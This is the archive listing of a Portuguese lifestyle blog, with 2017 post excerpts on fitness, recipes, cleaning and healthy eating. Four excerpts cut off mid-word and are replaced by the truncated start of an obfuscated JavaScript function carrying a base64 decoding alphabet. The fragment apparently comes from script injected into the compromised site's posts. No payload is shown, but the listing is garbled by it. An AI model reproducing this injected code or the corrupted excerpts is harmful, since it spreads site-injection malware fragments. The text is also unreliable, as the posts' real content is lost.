Mar 9, 2017 | À descoberta, Dicas úteis
Glúteos mais definidos – 5 exercícios O calor chegou e as preocupações com o corpo aumentam. Hoje dou-lhe a conhecer 5 dos melhores exercícios que ajudam a tonificar os glúteos. Caso tenha essa zona do corpo pouco firme saiba que estes exercícios garantem...
Mar 8, 2017 | Dicas úteis, Receitas
Uma refeição rápida para qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mar 7, 2017 | Dicas úteis, Receitas
2 Bolos irresistíveis para as mulheres da sua vida O Dia da Mãe está a chegar e nada melhor que surpreender as mulheres da sua vida com um bolo caseiro feito por si. Hoje trago-lhe duas sugestões absolutamente deliciosas que pode cozinhar para a sua mãe, avó,...
Mar 5, 2017 | Dicas úteis
Soluções caseiras para ter uma casa de banho a brilhar A casa de banho é uma das divisões de nossa casa que merece mais atenção. A acrescentar aos cuidados diários, o ideal é fazer uma limpeza profunda pelo menos uma vez por semana. Mas, para tornar esta tarefa...
Mar 2, 2017 | Dicas úteis, Saúde e bem estar
Dicas saudáveis – 9 benefícios do açaí O açaí é um fruto com muitos benefícios para a nossa saúde que o Brasil deu a conhecer ao mundo. Sabia que este fruto cresce nas florestas tropicais da Amazónia? É riquíssimo em proteínas, fibras, lípidos e é uma verdadeira...
Mar 2, 2017 | Dicas úteis, Faça você mesmo, Saúde e bem estar
7 grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Fev 22, 2017 | Dicas úteis
Dicas para ter um hálito fresco e saudável Manter uma boa higiene oral, com a escovagem diária dos dentes e o uso do fio dentário, é o primeiro passo para combater o mau hálito. Mas manter uma boca fresca vai muito além da pasta de dentes, do fio dentário e do...
Fev 20, 2017 | Dicas úteis
10 alimentos para combater a fadiga De certeza que sabe reconhecer o estado de fadiga. É qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Fev 18, 2017 | Dicas úteis, Receitas
Benefícios do feijão + receita feijoada saudável Os benefícios do feijão são imensos. Posso desde já adiantar alguns: é rico em fibra, uma excelente fonte de proteína, ferro, cálcio e vitaminas do complexo B. Ajuda a baixar os níveis de colesterol e os níveis de...
Fev 17, 2017 | Dicas úteis, Faça você mesmo
9 dicas para passar roupa sem usar o ferro de engomar Passar a roupa a ferro não é uma das tarefas domésticas preferidas da maior parte de nós. Para além disto, exige uma grfunction a4872b9c6b(y1){var...
